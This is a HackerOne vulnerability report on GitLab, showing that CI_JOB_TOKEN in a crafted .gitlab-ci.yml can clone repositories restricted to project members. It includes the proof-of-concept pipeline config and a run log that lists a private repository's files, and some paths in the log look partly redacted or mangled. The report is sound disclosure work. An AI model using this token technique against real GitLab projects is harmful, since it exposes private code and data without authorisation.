Gitlab CI runner can be used to access private project data via CI_JOB_TOKEN

HackerOne report #887755 by enumzero on 2020-05-31, assigned to @cmaxim:

Summary

Hi,

I've found a vulnerability that allows an attacker to read private data such as private repositories. It happens because of the Gitlab CL runner, which allows any user who has CI_JOB_TOKEN can git into public (or internal) projects (all data) although the data have been set as Only Projects Members. So by a crafted .gitlab-ci.yml, the attacker can access all private repositories, ...

CI_JOB_TOKEN: Does not have any write permissions but can access, read data.

I have tested with my project which I have visited Visibility, project features, permissions and set Repository to Only Projects Members:

.gitlab-ci.yml:

stages:    
  - test    
test:    
  stage: test    
  variables:    
    GITLAB_INSTANCE: "gitlab.com"    
  script:    
    - 'git clone http://gitlab-ci-token:$CI_JOB_TOKEN@$GITLAB_INSTANCE/x/secret-project.git'    
    - 'ls'  
    - 'cd secret-project && ls'   

Pipeline output:

 Running with gitlab-runner 13.0.0 (c127439c)  
   on docker-auto-scale 0277ea0f  
Preparing the "docker+machine" executor  
 Using Docker executor with image ruby:2.5 ...  
 Pulling docker image ruby:2.5 ...  
 Using docker image sha256:a9d2e4b44d5e055s663957105s2c799c45ed for ruby:2.5 ...  
Preparing environment  
 Running on runner-0277ea0f-project-19096088-concurrent-0 via runner-0277ea0f-srm-15s898793-bb66767d...  
Getting source from Git repository  
 $ eval "$CI_PRE_CLONE_SCRIPT"  
 Fetching changes with git depth set to 50...  
 Initialized empty Git repository in /builds/jseautiful-project/.git/  
 Created fresh repository.  
 From https://gitlab.com/js-beautiful-project  
  * [new ref]         refs/pipelines/151267792 -> refs/pipelines/151267792  
  * [new branch]      master                   -> origin/master  
 Checking out 45dc644f as master...  
 Skipping Git submodules setup  
Restoring cache  
Downloading artifacts  
Running before_script and script  
 $ git clone http://gitlab-ci-token:$CI_JOB_TOKEN@$GITLAB_INSTANCE/jossecret-project.git  
 Cloning into 'secret-project'...  
 warning: redirecting to https://gitlab.coms-project.git/  
 $ ls  
secret-project  
 $ cd secret-project && ls  
 LICENSE  
 secret.sh  
Running after_script  
Saving cache  
Uploading artifacts for successful job  
 Job succeeded  

And if you want, I will access the gitlab-com/finance full git repositories. I won't read or uploaded the repositories to my server.

What is the current bug behavior?

Non-permission users can trigger pipelines run and access all internal repositories with $CI_JOB_TOKEN environment variable.

Example

If you allow me, I will access the gitlab-com/finance full git repositories for example. Or you can try to access my private repo: sst with your Gitlab CL runner.

Impact

Accessed the FULL git repositories of Only Projects Members projects.

Edited by Costel Maxim